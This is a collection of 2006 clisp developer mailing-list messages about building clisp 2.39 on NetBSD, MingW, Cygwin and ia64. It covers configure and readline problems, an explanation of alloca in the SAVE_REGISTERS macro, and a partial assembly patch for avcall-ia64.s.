When i commented out the cd work/clisp-2.38/src/avcall && /usr/bin/ 
make from the Makefile i also got rid of cd work/clisp-2.38/src/ 
callback && /usr/bin/make could that be causing problems?




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> * syamajala@gamebox.net <flnznwnyn@tnzrobk.arg> [2006-07-13 22:23:35 -0400]:
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> now it seems to say:
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> In file included lisparit.d:8:
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> you might wish
> In file included from lisparit.d:28:
> arilev1.d:263:29: arimips.c: No such file or directory

this may be related to
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> *  <flnznwnyn@tnzrobk.arg> [2006-07-13 14:43:34 -0400]:
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> Hello, I have a hpcmips system running netbsd 3.0. I am trying to  
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does this help?
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Since the size of struct registers is known at compilation time, 
why alloca is used in these macros:

lispbibl.d:805:
    #define SAVE_REGISTERS(inner_statement)                                  \
      do {                                                                   \
        var struct registers * registers = alloca(sizeof(struct registers)); \
        SAVE_STACK_register(registers);                                      \
        SAVE_mv_count_register(registers);                                   \
        SAVE_value1_register(registers);                                     \
        SAVE_back_trace_register(registers);                                 \
        inner_statement;                                                     \
        { var gcv_object_t* top_of_frame = STACK;                            \
          pushSTACK(fake_gcv_object((aint)callback_saved_registers));        \
          finish_frame(CALLBACK);                                            \
        }                                                                    \
        callback_saved_registers = registers;                                \
      } while(0)

instead of just:
    var struct registers registers;
    ...
    SAVE_STACK_register(&registers);
    ...
?


With gcc builtin alloca, it may not do any difference, but with other
compilers, avoiding alloca should probably be faster.

Is there any other reason to use alloca there?



These macros could use one more set of parentheses:

      #define SAVE_STACK_register(registers)     \
              registers->STACK_register_contents = STACK_reg
      ...

==>

      #define SAVE_STACK_register(registers)     \
              (registers)->STACK_register_contents = STACK_reg
      ...


I'd expect the compilers to compile (&a)->f as a.f, otherwise we could write:

   do{
     var struct registers registers_data;
     var register struct registers* register=&register_data;
     ...
   }while(0)


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"Sam Steingold" <sds@podval.org> wrote in message 
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>I no longer have access to a woe32 system,
> so we need a volunteer to build clisp binary distributions
> for woe32 and cygwin for the forthcoming clisp 2.39.
>
Hello,
I can build for cygwin, will try current cvs now. 





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> * Jack Unrue <wqhaehr@tznvy.pbz> [2006-07-12 09:07:24 -0600]:
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> On 7/12/06, Sam Steingold <sds@podval.org> wrote:
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>> for woe32 and cygwin for the forthcoming clisp 2.39.
>>
>
> If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer.

yes, actually, MingW builds are best.
please make sure that the base includes syscalls, regexp, readline and
gettext.


> In addition to WinXP SP2, I also have Vista Beta 2 installed.
> I can run the test suite under both versions.

please do,
but please build the distribution on the oldest system you have (w2k is
preferred over xp).

please build from
http://prdownloads.sourceforge.net/clisp/clisp-2.39.tar.gz?download

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> * Karsten Poeck <Xnefgra.cbrpx@tznvy.pbz> [2006-07-14 21:18:07 +0200]:
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> Hello,
> I can build for cygwin, will try current cvs now. 

thanks. could you please take over the cygwin package maintenance?
building cygwin package should be as easy as
make cygwin-src distrib
but the cygwin people change the rules every now and then and you will
need to follow them...

please build from sources at
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On 7/17/06, Sam Steingold <sds@podval.org> wrote:
> > * Jack Unrue <wqhaehr@tznvy.pbz> [2006-07-12 09:07:24 -0600]:
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> > If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer.
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> yes, actually, MingW builds are best.
> please make sure that the base includes syscalls, regexp, readline and
> gettext.

Who was the last person to do a build with MingW that included
readline? What version did you use and from where did you get
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>> > If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer.
>>
>> yes, actually, MingW builds are best.
>> please make sure that the base includes syscalls, regexp, readline and
>> gettext.
>
> Who was the last person to do a build with MingW that included
> readline?

Yaroslav Kavenchuk <kavenchuk@tut.by>

> readline 5.1 does not compile with gcc 3.4.5 (MingW candidate).

that's OK - just leave readline out.

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clisp-2.39-win32-mingw.zip is now in SF.net/incoming

The base --version reports:

DRIVEN% ./lisp -M c:/bin/clisp-2.39/base/lispinit.mem -B c:/bin/clisp-2.39/base
 --version
GNU CLISP 2.39 (2006-07-16) (built 3362176112) (memory 3362176333)
Software: GNU C 3.4.5 (mingw special)
gcc -mno-cygwin -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn
-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -fa
lign-functions=4 -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI
-I. -x none /usr/local/lib/libintl.a libcharset.a libavcall.a
libcallback.a  -luser32 -lw
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SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL
COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386
WIN32)
C Modules: (clisp i18n syscalls regexp)
Installation directory: C:\bin\clisp-2.39\base\
User language: ENGLISH
Machine: PC/386 (PC/?86) Driven [192.168.0.4]


A couple notes for anyone else that tries this (or can correct me)
in the future:

The MSYS version of 'ln' generates errors during 'make distrib'
in the build directory. I locally changed the Makefile to use 'cp'
instead. I think this is an MSYS problem not a clisp problem.

Earlier, I had reported (and Sam responded):

> > readline 5.1 does not compile with gcc 3.4.5 (MingW candidate).
>
> that's OK - just leave readline out.

I also tried to include the rawsock module, but encountered this
link error:

rawsock.o: In function
`error_eai':c:/projects/third_party/clisp-2.39/build-mingw/rawsock/rawsock.c:710:
undefined reference to `gai_strerror'
collect2: ld returned 1 exit status

Consequently rawsock is not included.

Otherwise, the tests pass and I manually checked that the
distribution has the expected files and directories. I ran some
of my own code as an additional sanity check :-)

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Jack Unrue wrote:
>>> If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer.
>> yes, actually, MingW builds are best.
>> please make sure that the base includes syscalls, regexp, readline and
>> gettext.
> 
> Who was the last person to do a build with MingW that included
> readline? What version did you use and from where did you get
> it? readline 5.1 does not compile with gcc 3.4.5 (MingW candidate).
> 
> Thanks.
> 

Use readline from gnuwin32.sf.net

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Jack Unrue wrote:
> rawsock.o: In function
> `error_eai':c:/projects/third_party/clisp-2.39/build-mingw/rawsock/rawso
> ck.c:710:
> undefined reference to `gai_strerror'
> collect2: ld returned 1 exit status

Oops, my last clisp build at 28.06.2006 :\

 From ws2tcpip.h (mingw win32-api):

#if 0
/* These are not exported from any known w32api library.  Are they
    implemented as macros or inline finctions?  */
char* WSAAPI gai_strerrorA(int);
WCHAR* WSAAPI gai_strerrorW(int);
#ifdef UNICODE
#define gai_strerror   gai_strerrorW
#else
#define gai_strerror   gai_strerrorA
#endif  /* UNICODE */
#endif /* 0 */


in rawsock/config.log:

ac_cv_func_gai_strerror=no

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> * Jack Unrue <wqhaehr@tznvy.pbz> [2006-07-17 20:14:18 -0600]:
>
> clisp-2.39-win32-mingw.zip is now in SF.net/incoming
>
> The base --version reports:
>
> DRIVEN% ./lisp -M c:/bin/clisp-2.39/base/lispinit.mem -B c:/bin/clisp-2.39/base
>  --version

doesn't it include clisp.exe?

> I also tried to include the rawsock module, but encountered this
> link error:
>
> rawsock.o: In function
> `error_eai':c:/projects/third_party/clisp-2.39/build-mingw/rawsock/rawsock.c:710:
> undefined reference to `gai_strerror'
> collect2: ld returned 1 exit status
>
> Consequently rawsock is not included.

this is no good.
please try the appended patch.

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 #if defined(HAVE_GAI_STRERROR) || defined(WIN32_NATIVE)
-  const char* msg = gai_strerror(ecode);
+  const char* msg = gai_strerror_f(ecode);
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On 7/18/06, Yaroslav Kavenchuk <kavenchuk@jenty.by> wrote:
> Jack Unrue wrote:
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> > Who was the last person to do a build with MingW that included
> > readline? What version did you use and from where did you get
> > it? readline 5.1 does not compile with gcc 3.4.5 (MingW candidate).
> >
> > Thanks.
>
> readline from gnuwin32.sf.net

Thanks Yaroslav. What package did you install to get 'tgetent'?
It does not appear to be included with pdcurses from GnuWin32
and I don't see a termcap package there either.

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On 7/18/06, Sam Steingold <sds@podval.org> wrote:
> > * Jack Unrue <wqhaehr@tznvy.pbz> [2006-07-17 20:14:18 -0600]:
> >
> > clisp-2.39-win32-mingw.zip is now in SF.net/incoming
> >
> > The base --version reports:
> >
> > DRIVEN% ./lisp -M c:/bin/clisp-2.39/base/lispinit.mem -B c:/bin/clisp-2.39/base
> >  --version
>
> doesn't it include clisp.exe?

Yes, sorry for confusing you.

> > I also tried to include the rawsock module, but encountered this
> > link error:
> >
> > rawsock.o: In function
> > `error_eai':c:/projects/third_party/clisp-2.39/build-mingw/rawsock/rawsock.c:710:
> > undefined reference to `gai_strerror'
> > collect2: ld returned 1 exit status
> >
> > Consequently rawsock is not included.
>
> this is no good.
> please try the appended patch.

That worked, thanks.

I'm currently trying to get the readline module included, as you can
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> * Jack Unrue <wqhaehr@tznvy.pbz> [2006-07-18 12:16:18 -0600]:
>
>> please try the appended patch.
> That worked, thanks.
good.

> I'm currently trying to get the readline module included, as you can
> see from my reply to Yaroslav.

note that readline is not normally a part of a woe32 system, so your
package will need to include the dlls.

in fact, in the past we distributed 2 win32 packages: one, built by
myself, did not include readline and i18n, and the other, built by
Yaroslav, included them.
it would be nice if you could provide both.
thanks.

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Jack Unrue wrote:
> Thanks Yaroslav. What package did you install to get 'tgetent'?
> It does not appear to be included with pdcurses from GnuWin32
> and I don't see a termcap package there either.

http://gnuwin32.sourceforge.net/packages/termcap.htm

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Sam Steingold wrote:
>> * Jack Unrue <wqhaehr@tznvy.pbz> [2006-07-18 12:16:18 -0600]:
>>
>>> please try the appended patch.
>> That worked, thanks.
> good.
> 
>> I'm currently trying to get the readline module included, as you can
>> see from my reply to Yaroslav.
> 
> note that readline is not normally a part of a woe32 system, so your
> package will need to include the dlls.
> 
> in fact, in the past we distributed 2 win32 packages: one, built by
> myself, did not include readline and i18n, and the other, built by
> Yaroslav, included them.
> it would be nice if you could provide both.
> thanks.

What about of exclude "-g" option from CFLAGS when build of release?

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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2006-07-18 22:27:59 +0300]:
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>> in fact, in the past we distributed 2 win32 packages: one, built by
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>> Yaroslav, included them.
>> it would be nice if you could provide both.
>> thanks.
>
> What about of exclude "-g" option from CFLAGS when build of release?

yes, thanks for reminding me about that!
one has to run configure with CFLAGS="" to avoid the "-g -O2" gnu default.

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On 7/18/06, Yaroslav Kavenchuk <kavenchuk@tut.by> wrote:
> Jack Unrue wrote:
> > Thanks Yaroslav. What package did you install to get 'tgetent'?
> > It does not appear to be included with pdcurses from GnuWin32
> > and I don't see a termcap package there either.
>
> http://gnuwin32.sourceforge.net/packages/termcap.htm

Perhaps one of you can decipher what configure is trying to do
here:

http://home.earthlink.net/~jdunrue/config.log

Go to line 11029 and see that configure detects termcap
and then gets confused when proceeding to try again to
detect readline. I don't understand the gcc command lines
that are being constructed from that point on -- why
it doesn't use '-L/usr/local/lib -lreadline -ltermcap' is
baffling (I'm not experienced debugging automake/autoconf).

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> * Jack Unrue <wqhaehr@tznvy.pbz> [2006-07-18 14:10:23 -0600]:
>
> On 7/18/06, Yaroslav Kavenchuk <kavenchuk@tut.by> wrote:
>> Jack Unrue wrote:
>> > Thanks Yaroslav. What package did you install to get 'tgetent'?
>> > It does not appear to be included with pdcurses from GnuWin32
>> > and I don't see a termcap package there either.
>>
>> http://gnuwin32.sourceforge.net/packages/termcap.htm
>
> Perhaps one of you can decipher what configure is trying to do
> here:
>
> http://home.earthlink.net/~jdunrue/config.log

maybe you could start with building a non-readline, non-i18n
distribution first?

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Jack Unrue wrote:
> On 7/18/06, Yaroslav Kavenchuk <kavenchuk@tut.by> wrote:
>> Jack Unrue wrote:
>>> Thanks Yaroslav. What package did you install to get 'tgetent'?
>>> It does not appear to be included with pdcurses from GnuWin32
>>> and I don't see a termcap package there either.
>> http://gnuwin32.sourceforge.net/packages/termcap.htm
> 
> Perhaps one of you can decipher what configure is trying to do
> here:
> 
> http://home.earthlink.net/~jdunrue/config.log
> 
> Go to line 11029 and see that configure detects termcap
> and then gets confused when proceeding to try again to
> detect readline. I don't understand the gcc command lines
> that are being constructed from that point on -- why
> it doesn't use '-L/usr/local/lib -lreadline -ltermcap' is
> baffling (I'm not experienced debugging automake/autoconf).

My command:

./configure --with-mingw --with-readline \
             --with-module=dirkey \
             --with-module=rawsock \
             --with-module=bindings/win32 \
             --with-libreadline-prefix=/usr/local \
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             --build build-full

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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2006-07-19 00:55:00 +0300]:
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> Jack Unrue wrote:
>> On 7/18/06, Yaroslav Kavenchuk <kavenchuk@tut.by> wrote:
>>> Jack Unrue wrote:
>>>> Thanks Yaroslav. What package did you install to get 'tgetent'?
>>>> It does not appear to be included with pdcurses from GnuWin32
>>>> and I don't see a termcap package there either.
>>> http://gnuwin32.sourceforge.net/packages/termcap.htm
>> 
>> Perhaps one of you can decipher what configure is trying to do
>> here:
>> 
>> http://home.earthlink.net/~jdunrue/config.log
>> 
>> Go to line 11029 and see that configure detects termcap
>> and then gets confused when proceeding to try again to
>> detect readline. I don't understand the gcc command lines
>> that are being constructed from that point on -- why
>> it doesn't use '-L/usr/local/lib -lreadline -ltermcap' is
>> baffling (I'm not experienced debugging automake/autoconf).
>
> My command:
>
> ./configure --with-mingw --with-readline \
>              --with-module=dirkey \
>              --with-module=rawsock \
>              --with-module=bindings/win32 \
>              --with-libreadline-prefix=/usr/local \
>              --with-libtermcap-prefix=/usr/local \
>              --build build-full

So, where is the package?

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On 7/18/06, Sam Steingold <sds@podval.org> wrote:
> > * Jack Unrue <wqhaehr@tznvy.pbz> [2006-07-18 14:10:23 -0600]:
> >
> > Perhaps one of you can decipher what configure is trying to do
> > here:
> >
> > http://home.earthlink.net/~jdunrue/config.log
>
> maybe you could start with building a non-readline, non-i18n
> distribution first?

clisp-2.39-win32-mingw-no-readline.zip is now uploaded to
SF.net/incoming

I have to double-check my solution for another problem. Is the following
correct procedure for non-i18n?

CFLAGS="" ./configure --with-mingw --build build-without-readline
--with-libsigsegv-prefix=/usr/local --with-module=bindings/win32
--with-module=dirkey --with-module=rawsock --without-readline
--without-i18n

Because I ended up with i18n in the C modules list whether or not I
specified the '--without-i18n' option. So, I manually removed
i18n from BASE_MODULES in src/makemake.in

Also, if I specified '--without-unicode' then one of the tests
failed causing the build to abort.

The resulting 'clisp --version' reports:

GNU CLISP 2.39 (2006-07-16) (built 3362252273) (memory 3362252572)
Software: GNU C 3.4.5 (mingw special)
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
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-lsigsegv
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libsigsegv 2.4
Features: (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL
COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS
LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386
WIN32)
C Modules: (clisp syscalls regexp)
Installation directory: C:\bin\clisp-2.39\
User language: ENGLISH
Machine: PC/386 (PC/?86) Driven [192.168.0.4]

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I'm sorry, to clarify:

On 7/18/06, Jack Unrue <jdunrue@gmail.com> wrote:
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> Also, if I specified '--without-unicode' then one of the tests
> failed causing the build to abort.

The above was only an experiment which I backed out.
The following info is from the build I uploaded where all
tests pass:

> The resulting 'clisp --version' reports:
>
> GNU CLISP 2.39 (2006-07-16) (built 3362252273) (memory 3362252572)
> Software: GNU C 3.4.5 (mingw special)
>
> [snip]

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Sam Steingold wrote:

> So, where is the package?

Excuse me, I too have forgotten about an option "-g".
Not earlier, than 2006.07.19 20:00 (GMT+2).
(unless anybody earlier will upload it)

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Hello Pascal,

Sam asked me for comments.

> Since the size of struct registers is known at compilation time, 
> why alloca is used in these macros:
> 
> lispbibl.d:805:
>     #define SAVE_REGISTERS(inner_statement)                                  \
>       do {                                                                   \
>         var struct registers * registers = alloca(sizeof(struct registers)); \

> instead of just:
>     var struct registers registers;

The dynamic extent (time of existence of storage reserved) of a variable
ends at the end of the block, whereas for alloca'ed storage it ends at
the end of the function.

We want the registers to be available until the corresponding
RESTORE_REGISTERS invocation, which is outside the SAVE_REGISTERS
block.

Since gcc version 3.0 or so, gcc actually reuses the stack slots of
variables in blocks that are terminated.

Some people would write SAVE_REGISTERS as a C macro that has an
opening brace and RESTORE_REGISTERS as a macro with the corresponding
closing brace. But this is very bad, as it doesn't allow to use
RESTORE_REGISTERS in an 'if' branch.

Bruno


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Jack Unrue wrote:

> Who was the last person to do a build with MingW that included
> readline? What version did you use and from where did you get
> it? readline 5.1 does not compile with gcc 3.4.5 (MingW candidate).
> 
> Thanks.

readline from gnuwin32.sf.net

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> * Jack Unrue <wqhaehr@tznvy.pbz> [2006-07-18 17:48:50 -0600]:
>
> clisp-2.39-win32-mingw-no-readline.zip is now uploaded to
> SF.net/incoming

thanks, it should now be available in the sf clisp files section

> --without-i18n

there is no such option.

> So, I manually removed i18n from BASE_MODULES in src/makemake.in

yes, this is the right way to do it.


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On Thu, Jul 13, 2006 at 01:53:03PM +0200, Dr. Werner Fink wrote:
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> 
> are there any news about bug 1506857 on sourceforge.net
> http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355

clisp 2.39 does _not_ fix that issue.

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> * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-19 17:56:23 +0200]:
>
> On Thu, Jul 13, 2006 at 01:53:03PM +0200, Dr. Werner Fink wrote:
>> 
>> are there any news about bug 1506857 on sourceforge.net
>> http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355
>
> clisp 2.39 does _not_ fix that issue.

Peter Van Eynde said that recompiling with adding -O0 to the CFLAGS and
removing the -O option makes the build work.
do you concur?


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> So, where is the package?
> 

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> So, where is the package?
> 

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Bruno Haible writes:
> Hello Pascal,
> 
> Sam asked me for comments.
> 
> > Since the size of struct registers is known at compilation time, 
> > why alloca is used in these macros:
> > 
> > lispbibl.d:805:
> >     #define SAVE_REGISTERS(inner_statement)                                  \
> >       do {                                                                   \
> >         var struct registers * registers = alloca(sizeof(struct registers)); \
> 
> > instead of just:
> >     var struct registers registers;
> 
> The dynamic extent (time of existence of storage reserved) of a variable
> ends at the end of the block, whereas for alloca'ed storage it ends at
> the end of the function.

Ah, indeed.

 
> We want the registers to be available until the corresponding
> RESTORE_REGISTERS invocation, which is outside the SAVE_REGISTERS
> block.
> 
> Since gcc version 3.0 or so, gcc actually reuses the stack slots of
> variables in blocks that are terminated.
> 
> Some people would write SAVE_REGISTERS as a C macro that has an
> opening brace and RESTORE_REGISTERS as a macro with the corresponding
> closing brace. But this is very bad, as it doesn't allow to use
> RESTORE_REGISTERS in an 'if' branch.

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Thanks to Jack & Yaroslav,
we now have win32 binary packages for clisp 2.39.
Jack & Yaroslav, please review the description of your packages in
https://sourceforge.net/project/shownotes.php?release_id=432725&group_id=1355

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I cannot send this message to a cygwin list, it is rejected as spam.
after 9 attempts, I gave up.

==================================================================
CLISP has been distributed with cygwin for over a year.
I no longer have access to a Windows box, so I need someone to take over
the package and build the recently released CLISP 2.39.
All it takes is "make cygwin-src distrib" and setup.hint and both source
and binary packages are generated.

Thanks.

PS. It appears that libsigsegv is not distributed with cygwin - it would
    be nice if it were, clisp works better with it.

PPS. This is my 9th attempt to send this to a cygwin mailing list - the
     previous ones were rejected as spam.  Farewell.
==================================================================

it is up to you now to find a new cygwin clisp maintainer.


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Sam Steingold <sds@podval.org> writes:

> I cannot send this message to a cygwin list, it is rejected as spam.
> after 9 attempts, I gave up.

I've had the same problem with that list a couple of years ago, and
saw another person suffering similarly last week.¹ The list managers
are unforgivable self-righteous on these matters.

But yes, you do have a Cygwin-related audience here.


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I'm also a Cygwin user - an extreme novice though.
Learning a lot about building clisp on cygwin by the emails sent back =
and
forth.

Kelly Jeglum

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Sam Steingold <sds@podval.org> writes:

> I cannot send this message to a cygwin list, it is rejected as spam.
> after 9 attempts, I gave up.

I've had the same problem with that list a couple of years ago, and saw
another person suffering similarly last week.=B9 The list managers are
unforgivable self-righteous on these matters.

But yes, you do have a Cygwin-related audience here.


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=B9 http://thread.gmane.org/gmane.os.cygwin/79786

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Hallo

What happened:

surfing to clisp.cons.org 
click on the tp-button named: Current version: 2.39 (2006-07-16)
(the one in the big box)
getting this: (copy&paste):

An Exception Has Occurred

Python Traceback

Traceback (most recent call last):
  File "/usr/local/viewvc-1.0.0.sf/lib/viewvc.py", line 3642, in main
    request.run_viewvc()
  File "/usr/local/viewvc-1.0.0.sf/lib/viewvc.py", line 403, in
run_viewvc
    self.view_func(self)
  File "/usr/local/viewvc-1.0.0.sf/lib/viewvc.py", line 2151, in
view_checkout
    fp, revision = request.repos.openfile(path, rev)
  File "/usr/local/viewvc-1.0.0.sf/lib/vclib/bincvs/__init__.py", line
134, in openfile
    filename, revision = _parse_co_header(fp)
  File "/usr/local/viewvc-1.0.0.sf/lib/vclib/bincvs/__init__.py", line
549, in _parse_co_header
    raise COMalformedOutput, "Unable to find revision in co output
stream"
COMalformedOutput: Unable to find revision in co output stream

-----------end-reporting--------

System is: win98, netscape 4.75, penti500, 256 RAM, <--netPC.

Thank you very much for version 2.39

stefan


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> * lin8080 <yva8080@serrarg.qr> [2006-07-20 17:59:37 +0200]:
>
> click on the tp-button named: Current version: 2.39 (2006-07-16)
> Python Traceback

thanks, fixed, should work tomorrow (or today if you use the gnu mirror)

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On Wed, Jul 19, 2006 at 12:32:52PM -0400, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-19 17:56:23 +0200]:
> >
> > On Thu, Jul 13, 2006 at 01:53:03PM +0200, Dr. Werner Fink wrote:
> >> 
> >> are there any news about bug 1506857 on sourceforge.net
> >> http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355
> >
> > clisp 2.39 does _not_ fix that issue.
> 
> Peter Van Eynde said that recompiling with adding -O0 to the CFLAGS and
> removing the -O option makes the build work.
> do you concur?

Just tried that, even removing the patch for ffcall/avcall/avcall-ia64.s
for a nwer gcc does not help (without this patch the minitests check
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> * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-21 12:13:29 +0200]:
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> On Wed, Jul 19, 2006 at 12:32:52PM -0400, Sam Steingold wrote:
>> > * Dr. Werner Fink <jreare@fhfr.qr> [2006-07-19 17:56:23 +0200]:
>> >
>> > On Thu, Jul 13, 2006 at 01:53:03PM +0200, Dr. Werner Fink wrote:
>> >> 
>> >> are there any news about bug 1506857 on sourceforge.net
>> >> http://sourceforge.net/tracker/index.php?func=detail&aid=1506857&group_id=1355&atid=101355
>> >
>> > clisp 2.39 does _not_ fix that issue.
>> 
>> Peter Van Eynde said that recompiling with adding -O0 to the CFLAGS and
>> removing the -O option makes the build work.
>> do you concur?
>
> Just tried that,

Peter, doest 2.39 work for you?

> even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer gcc
> does not help (without this patch the minitests check fails).

what's that patch?


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On Fri, Jul 21, 2006 at 09:22:56AM -0400, Sam Steingold wrote:
> >
> > Just tried that,

This is the last two lines I see

./foo -x "(setq zz 10) (saveinitmem \"foo\")"
./foo: initialization file `/usr/src/packages/BUILD/clisp-2.39/ia64-suse-linux/foo' was not created by this version of CLISP runtime

and I've set -O0 by hand as last option of the gcc command line.

> 
> Peter, doest 2.39 work for you?
> 
> > even removing the patch for ffcall/avcall/avcall-ia64.s for a nwer gcc
> > does not help (without this patch the minitests check fails).
> 
> what's that patch?

Let's see:

---------------------------* snip *-------------------------------------
--- ffcall/avcall/avcall-ia64.s
+++ ffcall/avcall/avcall-ia64.s	2006-07-19 17:19:49.000000000 +0200
@@ -1,739 +1,1784 @@
 	.file	"avcall-ia64.c"
-	.version	"01.01"
-	.global __divdi3#
-.text
+	.pred.safe_across_calls p1-p5,p16-p63
+	.text
 	.align 16
 	.global __builtin_avcall#
 	.proc __builtin_avcall#
 __builtin_avcall:
-	alloc r37 = ar.pfs, 1, 5, 8, 0
-	mov r34 = r32
-	adds r12 = -16, r12
-	mov r33 = r1
+	.prologue 14, 33
+	.save ar.pfs, r34
+	alloc r34 = ar.pfs, 1, 4, 8, 0
+	.vframe r35
+	mov r35 = r12
+	adds r12 = -48, r12
+	mov r36 = r1
+	.save rp, r33
+	mov r33 = b0
+	.body
 	;;
-	adds r15 = 40, r34
+	adds r14 = -32, r35
+	;;
+	st8 [r14] = r32
+	adds r15 = -24, r35
 	adds r12 = -2048, r12
-	mov r36 = b0
+	;;
+	adds r14 = 16, r12
+	;;
+	st8 [r15] = r14
+	adds r16 = -16, r35
+	adds r15 = -32, r35
 	;;
 	ld8 r14 = [r15]
-	adds r35 = 16, r12
-	addl r39 = 8, r0
 	;;
-	sub r14 = r14, r34
+	adds r14 = 40, r14
 	;;
-	adds r38 = -120, r14
-	br.call.sptk.many b0 = __divdi3# ;;
-	adds r15 = 48, r34
-	mov r1 = r33
-	addl r39 = 8, r0
+	ld8 r15 = [r14]
+	adds r17 = -32, r35
 	;;
-	ld8 r14 = [r15]
-	sxt4 r33 = r8
+	ld8 r14 = [r17]
 	;;
-	sub r14 = r14, r34
+	sub r14 = r15, r14
 	;;
-	adds r38 = -56, r14
-	br.call.sptk.many b0 = __divdi3# ;;
-	addl r18 = 8, r0
-	sxt4 r17 = r8
+	adds r14 = -120, r14
 	;;
-	cmp.gt p6, p7 = r33, r18
-	(p7) br.cond.dpnt .L97
-	adds r23 = 120, r34
+	shr r14 = r14, 3
 	;;
-	mov r19 = r23
-.L6:
-	shl r14 = r18, 3
+	st4 [r16] = r14
+	adds r16 = -12, r35
+	adds r23 = -32, r35
 	;;
-	add r16 = r19, r14
-	adds r18 = 1, r18
-	add r14 = r35, r14
-	;;
-	ld8 r15 = [r16]
-	cmp.gt p6, p7 = r33, r18
-	adds r14 = -64, r14
+	ld8 r14 = [r23]
 	;;
-	st8 [r14] = r15
-	(p6) br.cond.dptk .L6
-	br .L96
-.L97:
-	adds r23 = 120, r34
-.L96:
-	adds r33 = 24, r34
+	adds r14 = 48, r14
 	;;
-	ld4 r14 = [r33]
+	ld8 r15 = [r14]
+	adds r17 = -32, r35
 	;;
-	cmp4.ne p6, p7 = 16, r14
-	(p6) br.cond.dptk .L8
-	adds r14 = 16, r34
+	ld8 r14 = [r17]
 	;;
-	ld8 r8 = [r14]
-.L8:
-	cmp4.ge p6, p7 = 0, r17
-	(p6) br.cond.dptk .L9
-	adds r14 = 56, r34
+	sub r14 = r15, r14
 	;;
-	cmp4.ge p6, p7 = 1, r17
-	ldfd f8 = [r14]
-	(p6) br.cond.dptk .L9
-	adds r14 = 64, r34
+	adds r14 = -56, r14
 	;;
-	cmp4.ge p6, p7 = 2, r17
-	ldfd f9 = [r14]
-	(p6) br.cond.dptk .L9
-	adds r14 = 72, r34
+	shr r14 = r14, 3
 	;;
-	cmp4.ge p6, p7 = 3, r17
-	ldfd f10 = [r14]
-	(p6) br.cond.dptk .L9
-	adds r14 = 80, r34
+	st4 [r16] = r14
+	adds r15 = -8, r35
+	addl r14 = 8, r0
 	;;
-	cmp4.ge p6, p7 = 4, r17
-	ldfd f11 = [r14]
-	(p6) br.cond.dptk .L9
-	adds r14 = 88, r34
+	st8 [r15] = r14
+.L2:
+	adds r16 = -8, r35
+	adds r14 = -16, r35
 	;;
-	cmp4.ge p6, p7 = 5, r17
-	ldfd f12 = [r14]
-	(p6) br.cond.dptk .L9
-	adds r14 = 96, r34
+	ld4 r14 = [r14]
 	;;
-	cmp4.ge p6, p7 = 6, r17
-	ldfd f13 = [r14]
-	(p6) br.cond.dptk .L9
-	adds r14 = 104, r34
+	sxt4 r15 = r14
+	ld8 r14 = [r16]
 	;;
-	cmp4.ge p6, p7 = 7, r17
-	ldfd f14 = [r14]
-	(p6) br.cond.dptk .L9
-	adds r14 = 112, r34
+	cmp.gt p6, p7 = r15, r14
+	(p6) br.cond.dptk .L5
+	br .L3
 	;;
-	ldfd f15 = [r14]
-.L9:
-	ld4 r14 = [r33]
+.L5:
+	adds r14 = -8, r35
 	;;
-	cmp4.ne p6, p7 = 13, r14
-	(p6) br.cond.dptk .L17
-	ld8 r21 = [r34]
-	adds r14 = 144, r34
-	adds r15 = 152, r34
-	;;
-	ld8 r22 = [r21], 8
-	adds r19 = 128, r34
-	adds r20 = 136, r34
-	adds r16 = 160, r34
-	adds r17 = 168, r34
-	adds r18 = 176, r34
-	ld8 r41 = [r14]
-	ld8 r42 = [r15]
-	ld8 r38 = [r23]
+	ld8 r14 = [r14]
 	;;
-	ld8 r39 = [r19]
-	ld8 r40 = [r20]
-	ld8 r43 = [r16]
-	ld8 r44 = [r17]
-	ld8 r45 = [r18]
-	ld8 r1 = [r21]
-	mov b6 = r22
+	shladd r15 = r14, 3, r0
+	adds r14 = -24, r35
 	;;
-	br.call.sptk.many b0 = b6 ;;
-	adds r14 = 16, r34
+	ld8 r14 = [r14]
 	;;
-	ld8 r15 = [r14]
+	add r14 = r15, r14
 	;;
-	stfs [r15] = f8
-	br .L18
-.L17:
-	cmp4.ne p6, p7 = 14, r14
-	(p6) br.cond.dptk .L19
-	ld8 r21 = [r34]
-	adds r14 = 144, r34
-	adds r15 = 152, r34
-	;;
-	ld8 r22 = [r21], 8
-	adds r19 = 128, r34
-	adds r20 = 136, r34
-	adds r16 = 160, r34
-	adds r17 = 168, r34
-	adds r18 = 176, r34
-	ld8 r41 = [r14]
-	ld8 r42 = [r15]
-	ld8 r38 = [r23]
+	adds r16 = -64, r14
+	adds r23 = -32, r35
 	;;
-	ld8 r39 = [r19]
-	ld8 r40 = [r20]
-	ld8 r43 = [r16]
-	ld8 r44 = [r17]
-	ld8 r45 = [r18]
-	ld8 r1 = [r21]
-	mov b6 = r22
+	ld8 r15 = [r23]
+	adds r14 = -8, r35
 	;;
